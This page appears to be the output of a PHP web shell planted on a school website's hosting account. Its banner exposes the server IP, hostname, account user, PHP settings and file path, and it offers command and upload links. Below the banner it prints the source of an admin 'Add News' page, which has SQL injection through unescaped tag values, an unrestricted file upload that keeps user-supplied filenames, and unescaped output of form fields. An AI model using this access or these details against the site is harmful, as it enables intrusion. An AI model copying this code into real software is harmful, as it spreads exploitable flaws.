|
Server IP : 217.21.85.138 / Your IP : 216.73.216.103 Web Server : LiteSpeed System : Linux in-mum-web906.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u915722082 ( 915722082) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u915722082/domains/vethathirimaharishismartschool.com/public_html/admin/Awards/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include 'header.php';
if(isset($_POST['upload'])){
$title=mysqli_real_escape_string($connect,$_POST['title']);
$message=mysqli_real_escape_string($connect,$_POST['msg']);
$smsg=mysqli_real_escape_string($connect,$_POST['smsg']);
$tag=$_POST['tag'];
$thumb=mysqli_real_escape_string($connect,$_POST['thumb']);
$trend=mysqli_real_escape_string($connect,$_POST['trend']);
if(empty($tag)){
$tag[0]='unknown';
}
if(!empty($title) && !empty($message)){
//$fileexit=explode('.',$iname);
//$fileactualext=strtolower(end($fileexit));
if(!empty($_FILES['image']['name']) && !empty($_FILES['bimage']['name'])){
$fileerror=$_FILES['image']['error'];
$bfileerror=$_FILES['image']['error'];
$iname=$_FILES['image']['name'];
$bimage=$_FILES['bimage']['name'];
$ifile=$_FILES['image']['tmp_name'];
$bfile=$_FILES['bimage']['tmp_name'];
if($fileerror==0 && $bfileerror==0){
if(!empty($title)){
if(!empty($message)){
if(!empty($tag)){
$sql="INSERT INTO news(title,image,description,bimage,trend,thumb) VALUES('$title','$iname','$message','$bimage','$trend','$thumb')";
$sql_query=mysqli_query($connect,$sql);
move_uploaded_file($ifile,'../assets/images/backup/'.$iname);
move_uploaded_file($bfile,'../assets/images/backup/'.$bimage);
$ref="SELECT * FROM news ORDER BY id DESC LIMIT 1";
$result=mysqli_query($connect,$ref);
while($row=mysqli_fetch_assoc($result)){
$id=$row['id'];
}
foreach($tag as $value){
$view="SELECT * FROM ntags WHERE tag='$value'";
$result=mysqli_query($connect,$view);
if(mysqli_num_rows($result)>= 1){
while($row=mysqli_fetch_assoc($result)){
$ref=$row['ref'];
}
}
else{
$ref=$id;
}
$blog="INSERT INTO ntags(tag,ref,blog) VALUES('$value','$ref',$id)";
$query=mysqli_query($connect,$blog);
}
$update_query = "UPDATE news SET ref= '$ref' WHERE id =$id";
$sql_query_file=mysqli_query($connect,$update_query);
foreach($tag as $value){
$sql="INSERT INTO ncategory(title,image,ref,description,tag) VALUES('$title','$iname',$id,'$message','$value')";
$query=mysqli_query($connect,$sql);
$search_sql="INSERT INTO search(name,image,ref,tag,description,page) VALUES('$title','$iname',$id,'$value','$message','news-details.php')";
$search_query=mysqli_query($connect,$search_sql);
$sucess='complted';
}
}
else {
$tag_error='*please select the tag*';
}
}
else {
$msg_error='*please enter the article';
}
}
else {
$title_error='*please enter the title';
}
}
else {
$file_error='*Maxmium upload size 2mb only*';
}
}
else if(!empty($_FILES['image']['name'])){
$fileerror=$_FILES['image']['error'];
$iname=$_FILES['image']['name'];
$ifile=$_FILES['image']['tmp_name'];
if($fileerror==0){
if(!empty($title)){
if(!empty($message)){
if(!empty($tag)){
$sql="INSERT INTO news(title,image,description,trend,thumb) VALUES('$title','$iname','$message','$trend','$thumb')";
$sql_query=mysqli_query($connect,$sql);
move_uploaded_file($ifile,'../assets/images/backup/'.$iname);
$ref="SELECT * FROM news ORDER BY id DESC LIMIT 1";
$result=mysqli_query($connect,$ref);
while($row=mysqli_fetch_assoc($result)){
$id=$row['id'];
}
foreach($tag as $value){
$view="SELECT * FROM ntags WHERE tag='$value'";
$result=mysqli_query($connect,$view);
if(mysqli_num_rows($result)>= 1){
while($row=mysqli_fetch_assoc($result)){
$ref=$row['ref'];
}
}
else{
$ref=$id;
}
$blog="INSERT INTO ntags(tag,ref,blog) VALUES('$value','$ref',$id)";
$query=mysqli_query($connect,$blog);
}
$update_query = "UPDATE news SET ref= '$ref' WHERE id =$id";
$sql_query_file=mysqli_query($connect,$update_query);
foreach($tag as $value){
$sql="INSERT INTO ncategory(title,image,ref,description,tag) VALUES('$title','$iname',$id,'$message','$value')";
$query=mysqli_query($connect,$sql);
$search_sql="INSERT INTO search(name,image,ref,tag,description,page) VALUES('$title','$iname',$id,'$value','$message','news-details.php')";
$search_query=mysqli_query($connect,$search_sql);
$sucess='complted';
}
}
else {
$tag_error='*please select the tag*';
}
}
else {
$msg_error='*please enter the article';
}
}
else {
$title_error='*please enter the title';
}
}
else {
$file_error='*Maxmium upload size 2mb only*';
}
}
}
else if(empty($_POST['title'])){
$title_error='*please enter the title';
}
else if(empty($_FILES['image']['name'])){
$file_upload='*please select the field*';
}
else if(empty($_POST['msg'])){
$msg_error='*please enter the article';
}
else{
$tag_error='*please select the tag*';
$msg_error='*please enter the article';
$title_error='*please enter the title';
$file_upload='*please select the field*';
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1" />
<meta name="description" content="Neon Admin Panel" />
<meta name="author" content="" />
<link rel="icon" href="../assets/img/favicon.ico">
<title>CCUS-Add News</title>
<link rel="stylesheet" href="assets/js/jquery-ui/css/no-theme/jquery-ui-1.10.3.custom.min.css">
<link rel="stylesheet" href="assets/css/font-icons/entypo/css/entypo.css">
<link rel="stylesheet" href="//fonts.googleapis.com/css?family=Noto+Sans:400,700,400italic">
<link rel="stylesheet" href="assets/css/bootstrap.css">
<link rel="stylesheet" href="assets/css/neon-core.css">
<link rel="stylesheet" href="assets/css/neon-theme.css">
<link rel="stylesheet" href="assets/css/neon-forms.css">
<link rel="stylesheet" href="assets/css/custom.css">
<script src="assets/js/jquery-1.11.3.min.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/toastr.js/latest/toastr.min.js"></script>
<link rel="stylesheet" type="text/css" href="https://cdnjs.cloudflare.com/ajax/libs/toastr.js/latest/toastr.min.css">
<!--[if lt IE 9]><script src="assets/js/ie8-responsive-file-warning.js"></script><![endif]-->
<!-- HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries -->
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script>
<script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
<![endif]-->
</head>
<body class="page-body" data-url="http://neon.dev">
<div class="page-container"><!-- add class "sidebar-collapsed" to close sidebar by default, "chat-visible" to make chat appear always -->
<div class="sidebar-menu">
<div class="sidebar-menu-inner">
<?php
include 'sidebar.php';
?>
</div>
</div>
<div class="main-content">
<div class="row">
<!-- Profile Info and Notifications -->
<div class="col-md-6 col-sm-8 clearfix">
<ul class="user-info pull-left pull-none-xsm">
<!-- Profile Info -->
<li class="profile-info dropdown"><!-- add class "pull-right" if you want to place this from right -->
<ul class="dropdown-menu">
<!-- Reverse Caret -->
<li class="caret"></li>
<!-- Profile sub-links -->
<li>
<a href="extra-timeline.html">
<i class="entypo-user"></i>
Edit Profile
</a>
</li>
<li>
<a href="mailbox.html">
<i class="entypo-mail"></i>
Inbox
</a>
</li>
<li>
<a href="extra-calendar.html">
<i class="entypo-calendar"></i>
Calendar
</a>
</li>
<li>
<a href="#">
<i class="entypo-clipboard"></i>
Tasks
</a>
</li>
</ul>
</li>
</ul>
<ul class="user-info pull-left pull-right-xs pull-none-xsm">
<!-- Raw Notifications -->
</ul>
</div>
<!-- Raw Links -->
<div class="col-md-6 col-sm-4 clearfix hidden-xs">
<ul class="list-inline links-list pull-right">
<!-- Language Selector -->
<li class="sep"></li>
<li class="sep"></li>
<li>
<a href="logout.php">
Log Out <i class="entypo-logout right"></i>
</a>
</li>
</ul>
</div>
</div>
<hr />
<h2>Add News</h2>
<br />
<div class="row">
<div class="col-md-12">
<div class="panel panel-primary" data-collapsed="0">
</div>
<div class="panel-body">
<form role="form" action="news.php" method='POST' class="form-horizontal form-groups-bordered" enctype="multipart/form-data">
<div class="form-group">
<label for="field-1" class="col-sm-3 control-label">News Title</label>
<div class="col-sm-5">
<input name='title' type="text" class="form-control" id="field-1" value='<?php if(isset($tag_error)|| isset( $msg_error) || isset($title_error) || isset( $file_upload)){ echo $title;}?>' required placeholder="News title">
<?php
if(isset($title_error)){
?>
<span style='color:red;'>
<?php
echo $title_error;
?>
</span>
<?php
}
?>
</div>
</div>
<div class="form-group">
<label for="field-1" class="col-sm-3 control-label">Thumbnail Title</label>
<div class="col-sm-5">
<input name='thumb' type="text" class="form-control" id="field-1" value='<?php if(isset($tag_error)|| isset( $msg_error) || isset($title_error) || isset( $file_upload)){ echo $thumb;}?>' required placeholder="Thumbnail Title">
</div>
</div>
<div class="form-group">
<label for="field-1" class="col-sm-3 control-label">Banner Image</label>
<div class="col-sm-5">
<input name='image' type="file" class="form-control" id="field-file" placeholder="Placeholder" >
<?php
echo "<span><b>Image upload 2mb only</b></span>";
?>
<?php
if(isset($file_upload)){
?>
<span>
<?php
echo $file_upload;
?>
</span>
<?php
}
?>
</div>
</div>
<div class="form-group">
<label for="field-1" class="col-sm-3 control-label">Post Image</label>
<div class="col-sm-5">
<input name='bimage' type="file" class="form-control" id="field-file" placeholder="Placeholder" >
<?php
echo "<span><b>Image upload 2mb only</b></span>";
?>
</div>
</div>
<div class="form-group">
<label class="col-sm-3 control-label">Category</label>
<div class="col-sm-5">
<select name="tag[]" value='<?php
if(isset($tag)){ echo $tag;}
?>' class="select2" multiple>
<?php
$sql="SELECT * FROM tag";
$sql_query=mysqli_query($connect,$sql);
while($row=mysqli_fetch_assoc($sql_query)){
$tag=$row["tags"];
?>
<option value='<?php echo $tag;?>'><?php echo $tag;?></option>
<?php
}
?>
</select>
<?php
if(isset($tag_error)){
?>
<span style='color:red;'>
<?php
echo $tag_error;
?>
</span>
<?php
}
?>
</div>
</div>
<div class="form-group">
<label class="col-sm-3 control-label">Trending</label>
<div class="col-sm-9">
<input name='trend' value='trend' type="checkbox" id="chk-23" >
</div>
</div>
<div class="form-group">
<label for="field-ta" class="col-sm-3 control-label">Article</label>
<div class="col-sm-9">
<textarea name='msg' required class="form-control ckeditor" id="field-ta" placeholder="Textarea"><?php if(isset($tag_error)|| isset( $msg_error) || isset($title_error) || isset( $file_upload)){ echo $message;}?></textarea>
<?php
if(isset( $msg_error)){
?>
<span style='color:red;'><?php echo $msg_error;?></span>
<?php
}
?>
</div>
</div>
<div class="form-group">
<div class="col-sm-offset-3 col-sm-5">
<button name='upload' class="btn btn-success">Submit</button>
</div>
</div>
</form>
</div>
</div>
</div>
<?php
include 'footer.php';
?>
</div>
<div id="chat" class="fixed" data-current-user="Art Ramadani" data-order-by-status="1" data-max-chat-history="25">
<div class="chat-inner">
<h2 class="chat-header">
<a href="#" class="chat-close"><i class="entypo-cancel"></i></a>
<i class="entypo-users"></i>
Chat
<span class="badge badge-success is-hidden">0</span>
</h2>
<div class="chat-group" id="group-1">
<strong>Favorites</strong>
<a href="#" id="sample-user-123" data-conversation-history="#sample_history"><span class="user-status is-online"></span> <em>Catherine J. Watkins</em></a>
<a href="#"><span class="user-status is-online"></span> <em>Nicholas R. Walker</em></a>
<a href="#"><span class="user-status is-busy"></span> <em>Susan J. Best</em></a>
<a href="#"><span class="user-status is-offline"></span> <em>Brandon S. Young</em></a>
<a href="#"><span class="user-status is-idle"></span> <em>Fernando G. Olson</em></a>
</div>
<div class="chat-group" id="group-2">
<strong>Work</strong>
<a href="#"><span class="user-status is-offline"></span> <em>Robert J. Garcia</em></a>
<a href="#" data-conversation-history="#sample_history_2"><span class="user-status is-offline"></span> <em>Daniel A. Pena</em></a>
<a href="#"><span class="user-status is-busy"></span> <em>Rodrigo E. Lozano</em></a>
</div>
<div class="chat-group" id="group-3">
<strong>Social</strong>
<a href="#"><span class="user-status is-busy"></span> <em>Velma G. Pearson</em></a>
<a href="#"><span class="user-status is-offline"></span> <em>Margaret R. Dedmon</em></a>
<a href="#"><span class="user-status is-online"></span> <em>Kathleen M. Canales</em></a>
<a href="#"><span class="user-status is-offline"></span> <em>Tracy J. Rodriguez</em></a>
</div>
</div>
<!-- conversation template -->
<div class="chat-conversation">
<div class="conversation-header">
<a href="#" class="conversation-close"><i class="entypo-cancel"></i></a>
<span class="user-status"></span>
<span class="display-name"></span>
<small></small>
</div>
<ul class="conversation-body">
</ul>
<div class="chat-textarea">
<textarea class="form-control autogrow" placeholder="Type your message"></textarea>
</div>
</div>
</div>
<!-- Chat Histories -->
<ul class="chat-history" id="sample_history">
<li>
<span class="user">Art Ramadani</span>
<p>Are you here?</p>
<span class="time">09:00</span>
</li>
<li class="opponent">
<span class="user">Catherine J. Watkins</span>
<p>This message is pre-queued.</p>
<span class="time">09:25</span>
</li>
<li class="opponent">
<span class="user">Catherine J. Watkins</span>
<p>Whohoo!</p>
<span class="time">09:26</span>
</li>
<li class="opponent unread">
<span class="user">Catherine J. Watkins</span>
<p>Do you like it?</p>
<span class="time">09:27</span>
</li>
</ul>
<!-- Chat Histories -->
<ul class="chat-history" id="sample_history_2">
<li class="opponent unread">
<span class="user">Daniel A. Pena</span>
<p>I am going out.</p>
<span class="time">08:21</span>
</li>
<li class="opponent unread">
<span class="user">Daniel A. Pena</span>
<p>Call me when you see this message.</p>
<span class="time">08:27</span>
</li>
</ul>
</div>
<!-- Imported styles on this page -->
<script type="text/javascript">
toastr.options = {
"closeButton": true,
"debug": false,
"newestOnTop": false,
"progressBar": true,
"positionClass": 'toast-top-center',
"preventDuplicates": true,
"onclick": null,
"showDuration": "500",
"hideDuration": "1000",
"timeOut": "5000",
"extendedTimeOut": "1000",
"showEasing": "swing",
"hideEasing": "linear",
"showMethod": "fadeIn",
"hideMethod": "fadeOut"
}
<?php
if(isset($sucess)){
?>
toastr.success('Your Form Is Submited');
<?php
}
else if(isset($error)){
?>
toastr.error('Please Check The Field', 'sorry');
<?php
}
?>
//$('.alert').alert()
</script>
<link rel="stylesheet" href="assets/js/select2/select2-bootstrap.css">
<link rel="stylesheet" href="assets/js/select2/select2.css">
<link rel="stylesheet" href="assets/js/selectboxit/jquery.selectBoxIt.css">
<link rel="stylesheet" href="assets/js/daterangepicker/daterangepicker-bs3.css">
<link rel="stylesheet" href="assets/js/icheck/skins/minimal/_all.css">
<link rel="stylesheet" href="assets/js/icheck/skins/square/_all.css">
<link rel="stylesheet" href="assets/js/icheck/skins/flat/_all.css">
<link rel="stylesheet" href="assets/js/icheck/skins/futurico/futurico.css">
<link rel="stylesheet" href="assets/js/icheck/skins/polaris/polaris.css">
<!-- Bottom scripts (common) -->
<script src="assets/js/gsap/TweenMax.min.js"></script>
<script src="assets/js/jquery-ui/js/jquery-ui-1.10.3.minimal.min.js"></script>
<script src="assets/js/bootstrap.js"></script>
<script src="assets/js/joinable.js"></script>
<script src="assets/js/resizeable.js"></script>
<script src="assets/js/neon-api.js"></script>
<script src="assets/js/wysihtml5/wysihtml5-0.4.0pre.min.js"></script>
<!-- Imported scripts on this page -->
<script src="assets/js/select2/select2.min.js"></script>
<script src="assets/js/bootstrap-tagsinput.min.js"></script>
<script src="assets/js/typeahead.min.js"></script>
<script src="assets/js/selectboxit/jquery.selectBoxIt.min.js"></script>
<script src="assets/js/bootstrap-datepicker.js"></script>
<script src="assets/js/bootstrap-timepicker.min.js"></script>
<script src="assets/js/bootstrap-colorpicker.min.js"></script>
<script src="assets/js/moment.min.js"></script>
<script src="assets/js/daterangepicker/daterangepicker.js"></script>
<script src="assets/js/jquery.multi-select.js"></script>
<script src="assets/js/icheck/icheck.min.js"></script>
<script src="assets/js/neon-chat.js"></script>
<script src="assets/js/wysihtml5/bootstrap-wysihtml5.js"></script>
<script src="assets/js/ckeditor/ckeditor.js"></script>
<script src="assets/js/ckeditor/adapters/jquery.js"></script>
<script src="assets/js/uikit/js/uikit.min.js"></script>
<script src="assets/js/codemirror/lib/codemirror.js"></script>
<script src="assets/js/marked.js"></script>
<script src="assets/js/uikit/addons/js/markdownarea.min.js"></script>
<script src="assets/js/codemirror/mode/markdown/markdown.js"></script>
<script src="assets/js/codemirror/addon/mode/overlay.js"></script>
<script src="assets/js/codemirror/mode/xml/xml.js"></script>
<script src="assets/js/codemirror/mode/gfm/gfm.js"></script>
<!-- JavaScripts initializations and stuff -->
<script src="assets/js/neon-custom.js"></script>
<!-- Demo Settings -->
<script src="assets/js/neon-demo.js"></script>
</body>
</html>